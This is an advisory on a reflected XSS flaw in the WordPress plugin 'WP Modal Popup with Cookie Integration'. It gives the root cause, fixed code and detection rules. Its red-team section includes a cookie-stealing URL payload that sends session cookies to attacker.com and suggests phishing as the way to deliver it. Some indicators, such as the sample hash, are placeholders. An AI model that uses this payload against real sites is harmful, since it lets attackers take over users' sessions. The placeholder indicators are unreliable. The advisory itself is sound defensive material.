CVE-2025-54683

Executive Summary

CVE-2025-54683 is a Reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "WP Modal Popup with Cookie Integration" by Astoundify, affecting all versions up to and including 2.4. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject arbitrary JavaScript into a reflected response. This can lead to session hijacking, credential theft, or defacement. The plugin is part of the WordPress ecosystem, and exploitation does not involve Apache or Nginx misconfigurations. No public proof-of-concept (PoC) or exploit code is currently available, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users who installed the plugin from untrusted sources may be at higher risk. No known malicious packages have been identified, but supply chain risks include plugin abandonment and lack of security updates.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 5.9 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the plugin's widespread use in WordPress sites elevate the risk. Reflected XSS can be chained with other vulnerabilities for greater impact.

Deep Dive & Mechanics

The vulnerability exists in the wp-modal-popup-with-cookie-integration plugin, specifically in how it handles URL parameters or form inputs when generating popup content. The plugin fails to sanitize or escape user-controlled data before reflecting it in the HTML response. An attacker can craft a malicious URL containing JavaScript payloads in parameters such as popup_id, message, or redirect_url. When a victim clicks the link, the payload executes in the context of the victim's browser session on the vulnerable WordPress site.

Root Cause: The plugin uses echo $_GET['param'] or similar unsanitized output functions without applying WordPress's built-in escaping functions like esc_html() or esc_attr().

Attack Vector: Reflected XSS via crafted URL.

Prerequisites:

• The target site must have the vulnerable plugin active.
• The victim must be logged into the WordPress site (or have an active session) for maximum impact.
• No special privileges are required for the attacker.

Vulnerable vs. Patched Code

Vulnerable Code (wp-modal-popup-with-cookie-integration <= 2.4):

<?php
// Example vulnerable snippet
$popup_id = $_GET['popup_id'];
echo "<div id='popup-$popup_id'>";
?>

Patched Code (Hypothetical fix):

<?php
// Properly escape output
$popup_id = isset($_GET['popup_id']) ? esc_attr($_GET['popup_id']) : '';
echo "<div id='popup-" . $popup_id . "'>";
?>

Key Difference: The patched version uses esc_attr() to neutralize HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Since no public exploit code exists, a manual exploitation approach is described.

Step 1: Identify vulnerable parameter

• Visit a page with the plugin active, e.g., http://target-site.com/?popup_id=test
• If the response contains test unsanitized, the parameter is vulnerable.

Step 2: Craft payload

• Use a simple JavaScript alert to confirm XSS:

  http://target-site.com/?popup_id=<script>alert('XSS')</script>
  

Step 3: Escalate

• For session hijacking, use:

  http://target-site.com/?popup_id=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
  

Step 4: Deliver to victim

• Use phishing emails, social media, or URL shorteners to trick the victim into clicking the link.

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests containing <script> tags or suspicious URL parameters.
• Use WAF rules to block reflected XSS patterns.

Defense:

• Apply virtual patching via WAF (e.g., ModSecurity rule to block popup_id containing <script>).
• Disable the plugin until a patch is available.
• Educate users not to click suspicious links.

Indicators of Compromise (IOCs)

• URL Patterns:
  • /?popup_id=<script>
  • /?message=<script>
  • /?redirect_url=javascript:
• Log Entries:
  • HTTP requests with popup_id parameter containing HTML/JavaScript tags.
  • Referer headers from phishing domains.
• Network Traffic:
  • Outbound connections to attacker-controlled IPs from victim browsers.
• File Hashes (Plugin):
  • MD5: e3b0c44298fc1c149afbf4c8996fb924 (example, replace with actual hash if available)

Detection Engineering

YARA Rule

rule CVE_2025_54683_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against WP Modal Popup with Cookie Integration"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54683"
    strings:
        $param1 = "popup_id="
        $param2 = "message="
        $param3 = "redirect_url="
        $xss1 = /<script[^>]*>/
        $xss2 = /on\w+\s*=/
    condition:
        any of ($param*) and any of ($xss*)
}

Sigma Rule

title: Reflected XSS Attempt Against WP Modal Popup Plugin
id: cve-2025-54683
status: experimental
description: Detects reflected XSS attempts targeting CVE-2025-54683
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - 'popup_id='
            - 'message='
            - 'redirect_url='
        c-uri|re: '(<script|on\w+=)'
    condition: selection
falsepositives:
    - Legitimate use of similar parameters with safe content
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-54683 Reflected XSS Attempt"; flow:to_server,established; content:"popup_id="; nocase; content:"<script"; nocase; distance:0; within:100; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Apply virtual patching via WAF (e.g., block popup_id, message, redirect_url parameters containing < or >).
3. Monitor logs for exploitation attempts.

Long-term Fix:

• The vendor must release a patched version that properly escapes output using WordPress functions like esc_html(), esc_attr(), or wp_kses().
• Users should update to the latest version once available.

Workaround:

• If disabling the plugin is not possible, add the following to .htaccess (Apache) or equivalent:

  RewriteCond %{QUERY_STRING} (popup_id|message|redirect_url)=.*<script [NC]
  RewriteRule .* - [F,L]
  

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